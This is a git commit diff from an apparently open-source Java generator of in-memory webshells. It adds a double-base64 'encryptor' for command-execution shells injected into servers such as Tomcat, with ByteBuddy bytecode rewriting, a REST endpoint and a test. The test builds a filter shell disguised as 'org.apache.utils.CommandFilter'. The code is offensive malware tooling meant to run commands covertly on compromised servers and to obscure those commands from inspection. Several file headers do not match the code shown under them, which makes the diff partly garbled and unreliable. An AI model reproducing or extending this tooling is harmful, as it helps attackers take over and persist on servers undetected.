feat: support command encryptor

Author: ReaJason

boot/src/main/java/com/reajason/javaweb/boot/controller/ConfigController.java

@@ -3,8 +3,10 @@
 import com.reajason.javaweb.memshell.Packers;
 import com.reajason.javaweb.memshell.Server;
 import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.config.CommandConfig;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.bind.annotation.RequestMapping;
 import org.springframework.web.bind.annotation.RestController;
 
@@ -58,4 +60,9 @@ public List<String> getPackers() {
         }
         return coreMap;
     }
+
+    @GetMapping("/command/encryptors")
+    public List<CommandConfig.Encryptor> getCommandEncryptors() {
+        return Arrays.stream(CommandConfig.Encryptor.values()).toList();
+    }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/GenerateRequest.java

@@ -28,6 +28,7 @@ static class ShellToolConfigDTO {
         private String headerName;
         private String headerValue;
         private String shellClassBase64;
+        private String encryptor;
     }
 
     public ShellToolConfig parseShellToolConfig() {
@@ -48,6 +49,7 @@ public ShellToolConfig parseShellToolConfig() {
             case Command -> CommandConfig.builder()
                     .shellClassName(shellToolConfig.getShellClassName())
                     .paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
+                    .encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
                     .build();
             case Suo5 -> Suo5Config.builder()
                     .shellClassName(shellToolConfig.getShellClassName())

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -2,6 +2,7 @@
 
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.memshell.generator.*;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.server.AbstractShell;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import org.apache.commons.lang3.StringUtils;

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -16,4 +16,18 @@
 public class CommandConfig extends ShellToolConfig {
     @Builder.Default
     private String paramName = CommonUtil.getRandomString(8);
+
+    @Builder.Default
+    private Encryptor encryptor = Encryptor.RAW;
+
+    public enum Encryptor {
+        RAW, DOUBLE_BASE64;
+
+        public static Encryptor fromString(String encryptor) {
+            if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
+                return DOUBLE_BASE64;
+            }
+            return RAW;
+        }
+    }
 }

generator/src/main/java/com/reajason/javaweb/memshell/generator/CommandGenerator.java

@@ -0,0 +1,92 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.buddy.*;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.asm.Advice;
+import net.bytebuddy.asm.AsmVisitorWrapper;
+import net.bytebuddy.description.modifier.Ownership;
+import net.bytebuddy.description.modifier.Visibility;
+import net.bytebuddy.dynamic.DynamicType;
+import net.bytebuddy.implementation.FixedValue;
+import org.apache.commons.lang3.StringUtils;
+
+import java.util.Collections;
+import java.util.HashMap;
+
+import static net.bytebuddy.matcher.ElementMatchers.named;
+
+/**
+ * @author ReaJason
+ * @since 2024/11/24
+ */
+public class CommandGenerator {
+    private final ShellConfig shellConfig;
+    private final CommandConfig commandConfig;
+
+    public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
+        this.shellConfig = shellConfig;
+        this.commandConfig = commandConfig;
+    }
+
+    public DynamicType.Builder<?> getBuilder() {
+        if (commandConfig.getShellClass() == null) {
+            throw new IllegalArgumentException("commandConfig.getClazz() == null");
+        }
+
+        DynamicType.Builder<?> builder = new ByteBuddy()
+                .redefine(commandConfig.getShellClass())
+                .name(commandConfig.getShellClassName())
+                .visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
+
+        if (shellConfig.isJakarta()) {
+            builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
+        }
+
+        if (shellConfig.isDebugOff()) {
+            builder = LogRemoveMethodVisitor.extend(builder);
+        }
+
+        String shellType = shellConfig.getShellType();
+
+        if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
+            builder = builder.visit(
+                    new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
+                        put("paramName", commandConfig.getParamName());
+                    }})
+            );
+        } else if (!ShellType.WEBSOCKET.equals(shellType)) {
+            builder = builder.field(named("paramName"))
+                    .value(commandConfig.getParamName());
+        }
+
+        if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
+            builder = builder
+                    .visit(new AsmVisitorWrapper.ForDeclaredMethods()
+                            .method(named("getParam"),
+                                    new MethodCallReplaceVisitorWrapper(
+                                            commandConfig.getShellClassName(),
+                                            Collections.singleton(ShellCommonUtil.class.getName()))
+                            )
+                    )
+                    .defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
+                    .withParameters(String.class)
+                    .intercept(FixedValue.nullValue())
+                    .visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
+                    .visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
+        }
+
+        return builder;
+    }
+
+    public byte[] getBytes() {
+        DynamicType.Builder<?> builder = getBuilder();
+        try (DynamicType.Unloaded<?> make = builder.make()) {
+            return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
+        }
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java

@@ -0,0 +1,16 @@
+package com.reajason.javaweb.memshell.generator.command;
+
+import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
+import net.bytebuddy.asm.Advice;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+public class DoubleBase64ParamInterceptor {
+
+    @Advice.OnMethodExit
+    public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
+        returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
+    }
+}

generator/src/main/java/com/reajason/javaweb/memshell/generator/command/DoubleBase64ParamInterceptor.java

@@ -74,7 +74,7 @@ public static String base64DecodeToString(String bs) {
             } catch (Exception ignored) {
             }
         }
-        return value == null ? "" : new String(value);
+        return value == null ? null : new String(value);
     }
 
     public static class Base64DecodeToStringInterceptor {
@@ -96,7 +96,7 @@ public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs,
                 } catch (Exception ignored) {
                 }
             }
-            returnValue = value == null ? "" : new String(value);
+            returnValue = value == null ? null : new String(value);
         }
     }
 }

generator/src/main/java/com/reajason/javaweb/memshell/utils/ShellCommonUtil.java

@@ -1,13 +1,16 @@
 package com.reajason.javaweb.memshell.tomcat.command;
 
-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.*;
 import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.generator.CommandGenerator;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
 import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
 import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
 import com.reajason.javaweb.util.ClassUtils;
+import org.junit.jupiter.api.Test;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
@@ -36,15 +39,37 @@ static Stream<Arguments> casesProvider() {
     @MethodSource("casesProvider")
     void generate(String shellType, Class<?> clazz, String className) {
         ShellConfig generateConfig = new ShellConfig();
-        CommandConfig shellConfig = CommandConfig.builder()
+        CommandConfig commandConfig = CommandConfig.builder()
                 .shellClass(clazz)
                 .shellClassName(className)
                 .paramName("cmd")
                 .build();
         generateConfig.setShellType(shellType);
-        byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
+        byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
         Object obj = ClassUtils.newInstance(bytes);
-        assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
-        assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+        assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
+        assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+    }
+
+    @Test
+    void testGenerator() throws Exception {
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Command)
+                .build();
+
+        CommandConfig commandConfig = CommandConfig.builder()
+                .shellClass(CommandFilter.class)
+                .shellClassName("org.apache.utils.CommandFilter")
+                .paramName("cmd")
+                .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
+                .build();
+        InjectorConfig injectorConfig = new InjectorConfig();
+
+        GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
+//        Files.write(Paths.get("hehe.class"), generate.getShellBytes());
+        String pack = Packers.ScriptEngine.getInstance().pack(generate);
+        System.out.println(pack);
     }
 }